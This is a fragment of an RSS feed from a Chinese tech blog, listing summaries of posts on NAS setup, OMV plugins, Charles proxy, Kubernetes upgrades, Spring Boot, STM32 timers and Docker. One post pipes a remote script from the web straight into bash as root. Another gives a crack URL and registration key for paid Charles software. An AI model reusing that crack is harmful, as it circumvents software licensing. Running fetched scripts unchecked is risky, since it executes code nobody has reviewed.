序号&#xA;项目&#xA;型号&#xA;备注&#xA;其他&#xA;1&#xA;CPU&#xA;i3-10105&#xA;带核显&#xA;2&#xA;主板&#xA;华硕 TUF GAMING B460M PRO&#xA;M-ATX板，24.5*24.5&#xA;本来是要买TUF GAMING B460M PLUS，买回来才发现是PRO，这2个好像都是重炮手，坑爹。算是买翻车了吧&#xA;3&#xA;电源&#xA;航嘉300W 白牌80 PLUS 电源</description>
    </item>
    <item>
      <title>DIY NAS服务器之OMV 5.6入坑指南（二）- 安装omv-extras插件</title>
      <link>https://bchobby.github.io/posts/df872274ad64eca929d78e7c4b4427a2/</link>
      <pubDate>Sat, 14 Jan 2023 16:05:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df872274ad64eca929d78e7c4b4427a2/</guid>
      <description>系列文章目录 DIY NAS服务器之OMV 5.6入坑指南（一）-openmediavalut 5.6安装&#xA;DIY NAS服务器之OMV 5.6入坑指南（二）- 安装omv-extras插件&#xA;DIY NAS服务器之OMV 5.6入坑指南（三）- 切换系统源&#xA;DIY NAS服务器之OMV 5.6入坑指南（四） -安装docker和Portainer&#xA;DIY NAS服务器之OMV 5.6入坑指南（五） -数据同步及管理&#xA;目录&#xA;系列文章目录&#xA;前言&#xA;开启社区插件omv-extras&#xA;前言 前面我们已经安装好了OMV5.6了。&#xA;接下来就是建设我们的OMV系统了。&#xA;开启社区插件omv-extras 首先第一步，我们开启社区插件omv-extras：&#xA;通过如下url把插件安装文件 下载到电脑本地，通过OMV web管理页面的插件菜单通过上传的方式安装：&#xA;http://omv-extras.org/openmediavault-omvextrasorg_latest_all5.deb&#xA;上传成功后，在插件菜单中可以找到刚刚上传的社区插件，选中，然后安装即可：&#xA;如下是通过命中的方式安装社区插件的方法，比较折腾：&#xA;1、通过SSH方式登陆到OMV&#xA;2、切换到root用户&#xA;sudo su&#xA;3、执行如下命令：&#xA;wget -O - https://github.com/OpenMediaVault-Plugin-Developers/packages/raw/master/install | bash&#xA;如下提示如下错误：&#xA;wget: 无法解析主机地址 “github.com”&#xA;一般是DNS有问题，可以使用如下方式设置一下：&#xA;方法一：使用谷歌提供的DNS服务：&#xA;echo &#39;nameserver 8.8.8.8&#39;&amp;gt;&amp;gt;/etc/resolv.conf&#xA;方法二：使用阿里巴巴提供的DNS域名解析&#xA;echo &#39;nameserver 223.5.5.5&#39;&amp;gt;&amp;gt;/etc/resolv.conf&#xA;或&#xA;echo &#39;nameserver 223.6.6.6&#39;&amp;gt;&amp;gt;/etc/resolv.conf&#xA;设置完DNS域名解析服务后，重新执行开启社区插件的命令。&#xA;如果提示如下错误：&#xA;无法建立 SSL 连接。</description>
    </item>
    <item>
      <title>DIY NAS服务器之OMV 5.6入坑指南（五） -数据同步及管理</title>
      <link>https://bchobby.github.io/posts/4994d0b146832edd9fde184b746852cb/</link>
      <pubDate>Sat, 14 Jan 2023 15:42:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4994d0b146832edd9fde184b746852cb/</guid>
      <description>系列文章目录 DIY NAS服务器之OMV 5.6入坑指南（一）-openmediavalut 5.6安装&#xA;DIY NAS服务器之OMV 5.6入坑指南（二）- 安装omv-extras插件&#xA;DIY NAS服务器之OMV 5.6入坑指南（三）- 切换系统源&#xA;DIY NAS服务器之OMV 5.6入坑指南（四） -安装docker和Portainer&#xA;目录&#xA;系列文章目录&#xA;前言&#xA;一、LVM 逻辑卷管理器&#xA;二、个人选择&#xA;前言 本节主要为关于NAS服务器 储存管理方式的选择和思考。&#xA;一、LVM 逻辑卷管理器 LVM 逻辑卷管理器 可以理解成存储池。方便扩充和管理磁盘空间。&#xA;关于LVM 逻辑卷管理器更多介绍可以参考：https://tvtv.fun/pc-to-nas/6th.html&#xA;二、个人选择 关于NAS储存磁盘空间的管理，可根据个人实际需求和喜好决定。&#xA;个人最终决定不安装LVM 逻辑卷管理器 及磁盘阵列，直接使用磁盘，采用软件对重要数据进行备份。&#xA;图片自动同步工具：&#xA;Resilio Sync&#xA;同类应用还有Syncthing&#xA;nextcloud文件同步功能</description>
    </item>
    <item>
      <title>Charles工具使用</title>
      <link>https://bchobby.github.io/posts/823dbb4d88be9c001f7e2ec0becb0fda/</link>
      <pubDate>Sat, 14 Jan 2023 11:57:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/823dbb4d88be9c001f7e2ec0becb0fda/</guid>
      <description>抓包测试：&#xA;将网络传输发送与接收的数据包进行截获、重发、编辑、转存等操作，也用来检查网络安全。抓包也经常被用来进行数据截取等。&#xA;抓包工具介绍：&#xA;Chrome/Firefox 开发者工具: 浏览器内置，方便易用Fiddler/Charles: 基于代理的抓包，功能强大，可以手机抓包，模拟弱网，拦截请求，定制响应 Fiddler: 免费，只支持WinCharles: 收费，支持Win/Linux/Mac wireshark/tcpdumps：给予网卡层的抓包，数据量大，可以抓取tcp/udp等多种协议的数据包（需要做好过滤） wireshark: 支持Win/Linux/Mactcpdumps: Linux抓包命令，功能强大，常用作服务端抓包 原理：&#xA;模拟代理服务器&#xA;客户端--&amp;gt;代理服务器--&amp;gt;服务端&#xA;服务器--&amp;gt;代理服务器--&amp;gt;客户端&#xA;主要用途：&#xA;1、断请求，断响应&#xA;2、定位bug&#xA;3、模拟弱网&#xA;4、抓取请求，转换成jmx文件进行压测&#xA;常见使用场景：&#xA;1、移动端验证 ：协助定位bug、模拟弱网，进行弱网测试&#xA;2、断响应：修改返回结果，达到验证目的&#xA;3、mock local ：修改返回数据，达到验证目的（常用来修改大量数据）&#xA;重点是给大家提供一个思路，在某些情况下，可以通过抓包工具修改返回参数以达到验证目的&#xA;1、安装&amp;amp;破解（推荐使用稳定版本：v4.1.4）&#xA;官方下载地址：Download a Free Trial of Charles • Charles Web Debugging Proxy&#xA;破解方式：&#xA;help--&amp;gt;register charles&#xA;* https://zhile.io&#xA;* 48891cf209c6d32bf4&#xA;关闭防火墙！！！&#xA;2、抓取http请求&#xA;** 设置charles允许代理 proxy--&amp;gt;proxy setting --&amp;gt;勾选enable....&#xA;HTTP与HTTPS&#xA;HTTP协议传输的数据都是未加密的，HTTPS协议是由HTTP+SSL协议构建的可进行加密传输、身份认证的网络协议，要比HTTP协议安全。&#xA;HTTPS和HTTP的区别&#xA;HTTPS协议需要到ca申请证书，一般免费证书较少，因而需要一定费用。&#xA;HTTP是超文本传输协议，信息是明文传输，HTTPS则是具有安全性的SSL加密传输协议。&#xA;HTTP和HTTPS使用的是完全不同的连接方式，用的端口也不一样，前者是80，后者是443。&#xA;HTTP的连接很简单，是无状态的；HTTPS协议是由HTTP+SSL协议构建的可进行加密传输、身份认证的网络协议，比HTTP协议安全。&#xA;3、抓取https请求&#xA;*安装CA证书&#xA;安装证书到电脑,并且信任证书:&#xA;help--&amp;gt;ssl setting--&amp;gt;install charles .</description>
    </item>
    <item>
      <title>（附源码）springboot员工管理系统 毕业设计 021430</title>
      <link>https://bchobby.github.io/posts/e1bdf5dd311eddc2552d3b85cc3613b1/</link>
      <pubDate>Sat, 14 Jan 2023 11:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1bdf5dd311eddc2552d3b85cc3613b1/</guid>
      <description>员工管理系统的设计与实现&#xA;摘 要&#xA;由于数据库和数据仓库技术的快速发展，企业员工管理系统建设越来越向模块化、智能化、自我服务和管理科学化的方向发展。员工管理系统对处理对象和服务对象，自身的系统结构，处理能力，都将适应技术发展的要求发生重大的变化。企业员工管理管理系统除了具有共享系统的全部功能以外，能通过对数据的分析对决策做出解释是其主要的新特点。其体系结构，将由专用的服务器/客户方式向广域网发展，使更多的系统间能够互相交流数据，带动整个行业、领域知识和效率的极大提升。&#xA;员工管理管理系统主要功能模块包括部门管理、员工考勤、员工加班、员工工资、疫苗接种、员工请假、通知公告等，采取面对对象的开发模式进行软件的开发和硬体的架设，能很好的满足实际使用的需求，完善了对应的软体架设以及程序编码的工作，采取Mysql作为后台数据的主要存储单元，采用springboot框架、Java技术、Ajax技术进行业务系统的编码及其开发，实现了本系统的全部功能。本次报告，首先分析了研究的背景、作用、意义，为研究工作的合理性打下了基础。针对员工管理管理系统的各项需求以及技术问题进行分析，证明了系统的必要性和技术可行性，然后对设计系统需要使用的技术软件以及设计思想做了基本的介绍，最后来实现员工管理管理系统的部署与运行。&#xA;关键词：员工管理；springboot框架；MySQL数据库&#xA;Design and implementation of employee management system&#xA;system&#xA;Abstract&#xA;Due to the rapid development of database and data warehouse technology, the construction of enterprise employee management system is becoming more and more modular, intelligent, self-service and scientific management. The employee management system will make significant changes to the processing objects and service objects, its own system structure and processing capacity to meet the requirements of technological development.</description>
    </item>
    <item>
      <title>zip的压缩和解压命令</title>
      <link>https://bchobby.github.io/posts/3fecf29dd8f3a329937680a8c3fdb2ef/</link>
      <pubDate>Sat, 14 Jan 2023 08:31:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3fecf29dd8f3a329937680a8c3fdb2ef/</guid>
      <description>以下命令均在/home目录下操作cd /home #进入/home目录&#xA;1、把/home目录下面的data目录压缩为data.zip&#xA;zip -r data.zip data #压缩data目录&#xA;2、把/home目录下面的data.zip解压到databak目录里面&#xA;unzip data.zip -d databak&#xA;3、把/home目录下面的abc文件夹和123.txt压缩成为abc123.zip&#xA;zip -r abc123.zip abc 123.txt&#xA;4、把/home目录下面的www.zip直接解压到/home目录里面&#xA;unzip www.zip&#xA;5、把/home目录下面的abc12.zip、abc23.zip、abc34.zip同时解压到/home目录里面&#xA;unzip abc*.zip&#xA;6、查看把/home目录下面的www.zip里面的内容&#xA;unzip -v www.zip&#xA;7、验证/home目录下面的www.zip是否完整&#xA;unzip -t www.zip</description>
    </item>
    <item>
      <title>晶振知识小结（晶振电路设计）</title>
      <link>https://bchobby.github.io/posts/26bb0d1392131be03b3809ccb34cac66/</link>
      <pubDate>Sat, 14 Jan 2023 00:03:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26bb0d1392131be03b3809ccb34cac66/</guid>
      <description> 1 什么是晶振 晶振一般指石英晶体振荡器，也叫晶体振荡器 晶体振荡器是指从一块石英晶体上按照一定的方位角切下来的薄片（晶片），是时钟电路中最重要的部件&#xA;2 晶振的作用 提供基本的时钟信号：通常情况下，一个系统都会共用一个晶振，这样主要是为了方便每个部分能够保持同步一致。比如有些通讯系统的基频以及射频使用不同的晶振，通过电子来调整频率保证同步&#xA;提供系统所需时钟频率：晶振通常与锁相环电路配合使用，以提供系统所需的时钟频率。如果不同子系统需要不同频率的时钟信号，可以用与同一个晶振相连的不同锁相环来提供&#xA;3 晶振的原理 3.1 压电效应 若在石英晶体的两个电极上加上一电场，晶片就会产生机械变形。反之，若在晶片的两侧施加机械压力，则在晶片相应的方向上将产生电场，这种物理现象称为压电效应 晶振是利用石英晶体的压电效应制成的一种谐振器件，在一般情况下，晶片机械振动的振幅和交变电场的振幅非常微小，但当外加交变电压的频率为某一特定值时，振幅明显加大，比其他频率下的振幅大得多，这种现象称为压电谐振&#xA;4 晶振的分类 4.1 按材质分类 4.1.1 石英晶振 石英晶振就是用石英材料做成的石英晶体谐振器，俗称晶振。尽管石英晶振的应用已有几十年的历史，但因其具有频率稳定度高这一特点，故在电子技术领域中一直占有重要的地位&#xA;特点：&#xA;起振时间长，通电后较长时间才会起振，毫秒级&#xA;压电体构成，无内置电容&#xA;精度高&#xA;4.1.2 陶瓷晶振 陶瓷晶振是根据他内部的芯片采用的“压电陶瓷芯片材料”而得名的&#xA;特点：&#xA;起振时间短，通电立马起振，纳秒级&#xA;有压电体和内置电容构成，&#xA;精度低&#xA;4.2 按属性分类 这里的“源”是指 振荡器oscillator 4.2.1 无源晶振 无源晶振是有2个引脚的无极性元件，需要借助于时钟电路才能产生振荡信号，自身无法振荡起来；&#xA;无源晶振需要用DSP片内的振荡器，在datasheet上有建议的连接方法。无源晶振没有电压的问题，信号电平是可变的，也就是说是根据起振电路来决定的，同样的晶振可以适用于多种电压，可用于多种不同时钟信号电压要求的DSP&#xA;无源晶振信号质量较差，通常需要精确匹配外围电路（用于信号匹配的电容、电感、电阻等），如下图：&#xA;这两个电容一般称为“匹配电容”或者“负载电容”、“谐振电容”；晶振电路中加这两个电容是为了满足谐振条件。一般外接电容，是为了使晶振两端的等效电容等于或接近负载电容。只有连接合适的电容才能满足晶振的起振要求，晶振才能正常工作。&#xA;负载电容的值由如下公式计算：&#xA;其中CL为晶振的负载电容值，可通过查询晶振的数据手册获得，CS表示PCB板的寄生电容，一般为3~5pF；一般情况下，增大负载电容的值会使振荡频率下降，减小负载电容的值，会使振荡频率上升&#xA;4.2.2 有源晶振 有源晶振有4只引脚，是一个完整的振荡器，其中除了石英晶体外，还有晶体管和阻容元件&#xA;有源晶振通常的用法：一脚悬空，二脚接地，三脚接输出，四脚接电压。有源晶振不需要CPU的内部振荡器，连接方式相对简单（主要是做好电源滤波，通常使用一个电容和电感构成的PI型滤波网络，输出端用一个小阻值的电阻过滤信号即可），不需要复杂的配置电路。相对于无源晶体，有源晶振的缺陷是其信号电平是固定的，需要选择好合适输出电平，灵活性较差 </description>
    </item>
    <item>
      <title>Android中绑定控件的几种方式</title>
      <link>https://bchobby.github.io/posts/b201a07adb84bd65f854a056a60be40a/</link>
      <pubDate>Fri, 13 Jan 2023 21:52:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b201a07adb84bd65f854a056a60be40a/</guid>
      <description>声明：本篇文章主要转载自：你还在用 findViewById 吗？&#xA;官方API findViewById TextView tvCenter = findViewById(R.id.tv_center); tvCenter.setText(&#34;Text Change&#34;); 开源库ButterKnife 虽然方式一简单又好用，但是当控件很多的时候，就会出现一大堆的findViewById。&#xA;比如这样：&#xA;TextView tv1; TextView tv2; TextView tv3; TextView tv4; TextView tv5; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); tv1 = findViewById(R.id.tv1); tv2 = findViewById(R.id.tv2); tv3 = findViewById(R.id.tv3); tv4 = findViewById(R.id.tv4); tv5 = findViewById(R.id.tv5); } 而使用开源库ButterKnife，就很清爽。&#xA;关于ButterKnife绑定控件id，看这篇：ButterKnife&#xA;DataBinding 首先需要对 module 所在的 build.gradle 做更改，修改配置如下：&#xA;android { ... dataBinding { enabled = true } } 接着在布局外面套一层 layout，如下：&#xA;&amp;lt;?xml version=&#34;</description>
    </item>
    <item>
      <title>ButterKnife</title>
      <link>https://bchobby.github.io/posts/879337b8b790294f4ce7f1e6f3f00065/</link>
      <pubDate>Fri, 13 Jan 2023 21:33:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/879337b8b790294f4ce7f1e6f3f00065/</guid>
      <description>一、什么是ButterKnife？ 通俗来讲：&#xA;就是一个替代findViewById()的第三方库。&#xA;不用ButterKnife库，就要写很多的findViewById()来绑定控件，用ButterKnife就可以省去这些步骤。&#xA;并且使用ButterKnife对性能基本没有损失。&#xA;Github地址：https://github.com/JakeWharton/butterknife&#xA;二、使用方式 首先，添加依赖：&#xA;implementation &#39;com.jakewharton:butterknife:10.2.3&#39; annotationProcessor &#39;com.jakewharton:butterknife-compiler:10.2.3&#39; 使用BindView注解，绑定控件：&#xA;@BindView(R.id.tv) TextView tv; 然后在onCreat里面写：&#xA;ButterKnife.bind(this); 这里的this是你的控件要绑定的Activity，比如这的this，就是指MainActivity。写成MainActivity.this效果是一样的。&#xA;下面是完整代码：&#xA;三、其他 ButterKnife库还有很多其他的用法，例如：绑定控件id、Adapter中ViewHolder使用、绑定Button点击事件等等。&#xA;但是个人感觉最有用的还是上面的这个，其它功能，有需要请参考以下文章：&#xA;ButterKnife（黄油刀）基本使用与源码解析&#xA;ButterKnife使用方法详解</description>
    </item>
    <item>
      <title>k8s-生产实例——保姆级教程-------查看版本以及升级集群。扩容缩容 master 以及node节点</title>
      <link>https://bchobby.github.io/posts/ab14ac7fa968e22298d98a66a870bb12/</link>
      <pubDate>Fri, 13 Jan 2023 21:01:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab14ac7fa968e22298d98a66a870bb12/</guid>
      <description>查看 k8s版本&#xA;使用kubectl version 命令，输出的信息会显示client和server的版本信息，client代表kubectl版本信息，server代表的是master节点的k8s版本信息&#xA;kubectl version kubelet --version kube-apiserver --version 等&#xA;升级准备 1.23.1升级到1.23.5&#xA;下载升级包&#xA;k8s_version=v1.23.5&#xA;wget https://dl.k8s.io/${k8s_version}/kubernetes.tar.gz&#xA;wget https://dl.k8s.io/${k8s_version}/kubernetes-client-linux-amd64.tar.gz&#xA;wget https://dl.k8s.io/${k8s_version}/kubernetes-server-linux-amd64.tar.gz&#xA;wget https://dl.k8s.io/${k8s_version}/kubernetes-node-linux-amd64.tar.gz&#xA;解压&#xA;tar xf kubernetes-1.23.5-client-darwin-amd64.tar.gz -C /usr/local/src&#xA;tar xf kubernetes-1.23.5-node-linux-amd64.tar.gz -C /usr/local/src&#xA;tar xf kubernetes-1.23.5-server-linux-amd64.tar.gz -C /usr/local/src&#xA;tar xf kubernetes-1.23.5.tar.gz -C /usr/local/src&#xA;复制升级文件到安装位置&#xA;cd /usr/local/src/kubernetes/server/bin/ #/usr/local/src/ 该地址为刚才指定解压地址&#xA;修改负载均衡规则 在所有节点执行&#xA;vim /etc/kube-lb/conf/kube-lb.conf #注释掉你需要升级的 master节点 如下图 重启 lb&#xA;systemctl restart kube-lb.service 停服务&#xA;master:&#xA;systemctl stop kube-apiserver kube-controller-manager kube-scheduler kube-proxy kubelet</description>
    </item>
    <item>
      <title>Spring Boot笔记（持续更新）</title>
      <link>https://bchobby.github.io/posts/35afae266728adfb6df862a576df00be/</link>
      <pubDate>Fri, 13 Jan 2023 19:48:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35afae266728adfb6df862a576df00be/</guid>
      <description>springboot常用注解： https://github.com/mxg133/learnforSpringBoot&#xA;注解解释@SpringBootApplication来标注一个主程序类，说明这是一个springboot应用。@RequestMapping(“/hello”)接收来自于浏览器的hello请求，给出外界访问方法的路径，或者说触发路径 ，触发条件。@RequestBody@RequestBody除了把return的结果变成JSON对象返回，还可以把前端传输过来的json数据自动装配成后端可操作的map对象或自定义对象。@ResponseBody用@ResponseBody标记Controller类中的方法。把return的结果变成JSON对象返回，把类的方法返回的数据写给浏览器。（如果没有这个注解，这个方法只能返回要跳转的路径即跳转的html/JSP页面。有这个注解，可以不跳转页面，只返回JSON数据）。@Controller@Controller标识的类，该类代表控制器类(控制层/表现层)。@RestController是==@Controller和@ResponseBody==的结合。@Repository作用于数据访问层。@Service作用于业务逻辑层。@SpringBootConfigurationSpringBoot的配置类，标注在某个类上，表明这是一个SpringBoot的配置类。@EnableAutoConfiguration开启自动配置。@AutoConfigurationPackage自动配置包，将主配置类(@SpringBootApplication标注的类)的所在包及所有子包里的所有组件扫描到spring容器里。@Import()给容器导入组件。@ConfigurationProperties（prefix=“person”）将配置文件中配置的每一个属性，映射到这个组件中，告诉springboot将本类中的所有属性和配置文件中相关的配置进行绑定；prefix前缀，将配置文件中的&#34;person&#34;下的属性映射进来。@Component把该组件注入springboot容器。作用于实体类或者工具类。@PropertySource（{“classpath:xxx.properties”}）加载指定的properties配置文件。@Configuration指明当前类是一个配置类，就是用来替代之前的spring配置文件，可以和@Bean搭配使用。@EnableWebMvc加上这个注解，将使所有SpringMVC的自动配置失效，使用自己的配置。@Async告诉Spring这是一个异步方法@RequestMapping@RequestMapping可以指定GET、POST请求方式@GetMapping@GetMapping等价于@RequestMapping的GET请求方式@ImportResourcespringboot默认使用Java配置，但也可以使用xml配置，只需通过该注解引入一个xml配置。 @PathVariable&#xA;@PathVariable绑定URI模板变量值&#xA;@PathVariable是用来获得请求url中的动态参数的&#xA;@PathVariable用于将请求URL中的模板变量映射到功能处理方法的参数上。//配置url和方法的一个关系&#xA;@RequestMapping(“item/{itemId}”)&#xA;@RequestMapping 来映射请求，也就是通过它来指定控制器可以处理哪些URL请求,类似于struts的action请求。&#xA;@responsebody 表示该方法的返回结果直接写入HTTP responseBody中一般在异步获取数据时使用，在使用@RequestMapping后，返回值通常解析为跳转路径，加上@responsebody后返回结果不会被解析为跳转路径，而是直接写入HTTP responseBody中。比如异步获取json数据，加上@responsebody后，会直接返回json数据。&#xA;@Pathvariable 注解绑定它传过来的值到方法的参数上用于将请求URL中的模板变量映射到功能处理方法的参数上，即取出uri模板中的变量作为参数&#xA;@RequestMapping(&#34;/zyh/{type}&#34;) public String zyh(@PathVariable(value = &#34;type&#34;) int type) throws UnsupportedEncodingException { String url = &#34;http://wx.diyfintech.com/zyhMain/&#34; + type; if (type != 1 &amp;amp;&amp;amp; type != 2) { throw new IllegalArgumentException(&#34;参数错误&#34;); } String encodeUrl = URLEncoder.encode(url, &#34;utf-8&#34;); String redirectUrl = MessageFormat.format(OAUTH_URL, WxConfig.zyhAppId, encodeUrl, &#34;snsapi_userinfo&#34;, UUID.randomUUID().toString().replace(&#34;-&#34;, &#34;&#34;)); return &#34;redirect:&#34; + redirectUrl;m } 在SpringMVC后台控制层获取参数的方式主要有两种:&#xA;一种是request.getParameter(“name”)，另外一种是用注解@RequestParam直接获取&#xA;这里主要讲这个注解 @RequestParam</description>
    </item>
    <item>
      <title>STM32学习笔记（六）丨TIM定时器及其应用（输入捕获丨测量PWM波形的频率和占空比）</title>
      <link>https://bchobby.github.io/posts/0e274b1910b071a8c35685ebcdb2fcb5/</link>
      <pubDate>Fri, 13 Jan 2023 18:30:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e274b1910b071a8c35685ebcdb2fcb5/</guid>
      <description>本篇文章包含的内容 一、输入捕获1.1 输入捕获简介1.2 输入捕获通道的工作原理1.3 输入捕获的主从触发模式1.4 输入捕获和PWMI结构 二、频率的测量方法2.1 测频法2.2 测周法2.3 测频法和测周法的误差分析 三、输入捕获测量PWM波形的频率和占空比3.1 输入捕获相关库函数3.2 输入捕获IC测量频率3.3 PWMI模式同时测量频率和占空比3.4 测周法测量频率性能评估 ​ 本次课程采用单片机型号为STM32F103C8T6。&#xA;​ 课程链接：江科大自化协 STM32入门教程&#xA;往期笔记链接：&#xA;STM32学习笔记（一）丨建立工程丨GPIO 通用输入输出&#xA;STM32学习笔记（二）丨STM32程序调试丨OLED的使用&#xA;STM32学习笔记（三）丨中断系统丨EXTI外部中断&#xA;STM32学习笔记（四）丨TIM定时器及其应用（定时中断、内外时钟源选择）&#xA;STM32学习笔记（五）丨TIM定时器及其应用（输出比较丨PWM驱动呼吸灯、舵机、直流电机）&#xA;如果上一篇笔记的内容为史诗级副本，本篇文章的内容我愿称之为传说级副本（三）。&#xA;一、输入捕获 1.1 输入捕获简介 输入捕获，即Input Capture，英文缩写为IC。输入捕获模式下，当通道输入引脚出现指定电平跳变（可以定义为上升沿、下降沿）时，当前CNT的值将被锁存到CCR中（这就是“捕获”的含义），可用于测量PWM波形的频率、占空比、脉冲间隔、电平持续时间等参数。在这里，“脉冲间隔、电平持续时间”和“频率、占空比”是互相对应的关系。每个高级定时器和通用定时器都拥有4各输入捕获通道，且二者没有区别。&#xA;输入捕获模块可以配置为PWMI（PWM输入）模式和主从触发模式。PWMI模式是专门用来同时测量PWM波形的频率和占空比的。主从触发模式可以实现对频率或占空比的硬件的全自动测量，不占用软件资源，可以极大地减轻CPU的压力。&#xA;在定时器中，输入捕获和输出比较共用同一个引脚和同一个CCR，故在使用时，对同一个TIM定时器而言，输入捕获和输出比较功能只能使用一个，不能同时使用。&#xA;1.2 输入捕获通道的工作原理 接下来分析输入捕获通道的工作原理。输入信号首先进入输入滤波器和边沿检测器。这个滤波器和定时器的外部时钟模式2的输入滤波原理类似，它可以避免一些高频的毛刺信号造成误触发。在博主的文章STM32学习笔记（四）丨TIM定时器及其应用（定时中断、内外时钟源选择）中有较为详细的说明：&#xA;在定时器的外部信号输入引脚一般都有一个滤波器来消除信号的抖动干扰，它的工作原理是：在一个固定的时钟频率 f f f下进行采样，如果连续 N N N个采样点都是相同的电平，就代表输入信号稳定了，就将采样值输出到下一级电路；如果 N N N个采样点不全都相同，就说明信号有抖动，这时保持上一次的输出，或直接输出低电平。 这样就能保证输出信号在一定程度上的滤波。这里的采样频率 f f f和采样点数 N N N都是滤波器的参数，频率越低，采样点数越多，滤波效果就越好，不过相应的信号延迟就越大。&#xA;在实际应用时，通过改变TIMx_CCMR1寄存器的IC1F位就可以配置不同的滤波频率。&#xA;边沿检测部分和外部中断类似，可以选择高电平触发，或者低电平触发。当触发指定的电平时，边沿检测电路就会触发后续的电路执行动作。&#xA;在CH1，CH2，CH3之间跨接了一个异或门，它实际上是为三相无刷电机服务的。无刷电机拥有三个霍尔传感器检测转子的位置，可以根据转子的位置进行换相，通过将异或门的三个输入端与三个霍尔传感器相连接，此时的定时器就称为无刷电机的接口定时器，取驱动换相电路工作。这部分内容暂时不涉及，仅作了解即可。&#xA;CH3、CH4的输入滤波和边沿检测电路的结构与CH1、CH2类似。图中用一个方框代表了输入滤波和边沿检测，但实际上这里有两套相同的电路结构。CH1通道的一个输入滤波和边沿检测接到TI1FP1（Timer Input 1 Filter Polarity 1，可连接到IC1），另一个输入滤波和边沿检测接到TI1FP2（Timer Input 1 Filter Polarity 2，可连接到IC2）；同样，CH2通道的一个输入滤波和边沿检测接到TI2FP1（可连接到IC1），另一个输入滤波和边沿检测接到TI1FP2（可连接到IC2）。这样“交叉连接”的目的主要有以下两点：</description>
    </item>
    <item>
      <title>docker容器自启与关闭自启</title>
      <link>https://bchobby.github.io/posts/2f0116e0c3c7111a019ce9f709c7b71e/</link>
      <pubDate>Fri, 13 Jan 2023 17:19:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f0116e0c3c7111a019ce9f709c7b71e/</guid>
      <description> 大家好，我是早九晚十二，目前是做运维相关的工作。写博客是为了积累，希望大家一起进步！&#xA;我的主页：早九晚十二&#xA;在重启docker服务时，常常会拖家带口一大堆废弃的容器一起启动，如何改正这种现象呢？&#xA;服务启动【容器跟随启动】 要想做到docker启动，容器跟随启动可添加以下参数实现&#xA;docker run –restart=always 如果容器已经启动，也可以实时设置&#xA;docker update –restart=always &amp;lt;CONTAINER ID&amp;gt; 服务启动【容器不跟随启动】 对容器关闭自启命令如下&#xA;docker update --restart=no &amp;lt;CONTAINER ID&amp;gt; 批量关闭自启&#xA;docker update --restart=no $(docker ps -a -q) docker-compose自启配置 在docker-compose.yaml对应的容器配置添加如下参数&#xA;之后重启即可&#xA;docker-compose down docker-compose up -d </description>
    </item>
    <item>
      <title>电脑怎么录制屏幕视频，3种方法，轻松弄懂</title>
      <link>https://bchobby.github.io/posts/3f112e8cb7aebfa6f19e0f9bc425d0fd/</link>
      <pubDate>Fri, 13 Jan 2023 15:58:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f112e8cb7aebfa6f19e0f9bc425d0fd/</guid>
      <description>在日常生活当中，电脑录屏的使用场景也变得越来越多了起来，网课录制，微课录制，直播录制，会议录制等等。那么问题来了，电脑怎么录制屏幕视频呢？今天小编就向大家分享3个电脑录制屏幕视频的方法，一键就能搞定，快来看看吧。&#xA;电脑录制屏幕视频方法1：Xbox Game Bar 很多小伙伴不知道电脑怎么录制屏幕视频，其实小伙伴使用的电脑如果是Windows系统的话，可以使用Windows自带的录屏软件，就是Xbox Game Bar进行录制。&#xA;录制的方法很简单，只需要使用快捷键“win+g”唤出Xbox Game Bar，接着点击上面的实心白色小圆圈，即可开始录制，一键录制，十分方便！&#xA;电脑录制屏幕视频方法2：QQ录屏 QQ录屏也是电脑录制屏幕视频的方法之一，还在苦恼电脑怎么录制屏幕视频的小伙伴，可以尝试使用QQ录屏哦！&#xA;操作方法上，需要在键盘上同时按下快捷键“Ctrl+Alt+S”，选择录制的区域，点击开始录制就可以了。录制操作简单，界面简洁清爽，还不需要下载额外的软件就可以录制，十分好用。&#xA;电脑录制屏幕视频方法3：数据蛙录屏软件 上面向小伙伴介绍了Xbox Game Bar和QQ录屏的方法，但是Xbox Game Bar不能录制电脑桌面，QQ录屏又不能录制摄像头，除了这2种方法以外，电脑怎么录制屏幕视频？&#xA;其实我们可以使用数据蛙录屏软件来录制电脑屏幕视频，这是一款专业免费好用的录屏软件。它的界面清爽简洁，没有任何广告，体积很小，功能却很强大。&#xA;内置了丰富的录屏模式，没接触过的小白也能一键轻松录制，并且整体的录制过程十分流畅，能够录制高清无水印的视频。&#xA;最关键的是，它的录制时免费录制的，不像其他的录屏软件，动则仅能录制一两分钟，它是不限制录制时长，哪怕一整天都能进行录制。&#xA;录制步骤：&#xA;步骤1：进入软件主界面后，选择自己需要的录制模式，这里小编选择了【视频录制】的录制模式，作为演示的具体展示。&#xA;步骤2：进入【视频录制】的基础设置界面后，选择录制的区域，排除的窗口，接着调整摄像头、扬声器和麦克风，最后点击REC，开始录制。&#xA;步骤3：录制结束后，点击右下方【完成】，对录制的视频进行保存。&#xA;以上就是小编分享的关于电脑怎么录制屏幕视频的全部内容了。怎么样，是不是觉得非常的简单呢？电脑录制屏幕视频，小伙伴可以根据自己喜欢的，选择适合自己的录制方法哦！小编的话，更喜欢使用数据蛙录屏软件，录制简单方便，录制出来的视频流畅不卡顿，音画同步，特别的棒！</description>
    </item>
    <item>
      <title>微信小程序：骨架屏的实现方法</title>
      <link>https://bchobby.github.io/posts/1eec1b37987b4cb118c2f423d1b6669a/</link>
      <pubDate>Fri, 13 Jan 2023 15:34:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1eec1b37987b4cb118c2f423d1b6669a/</guid>
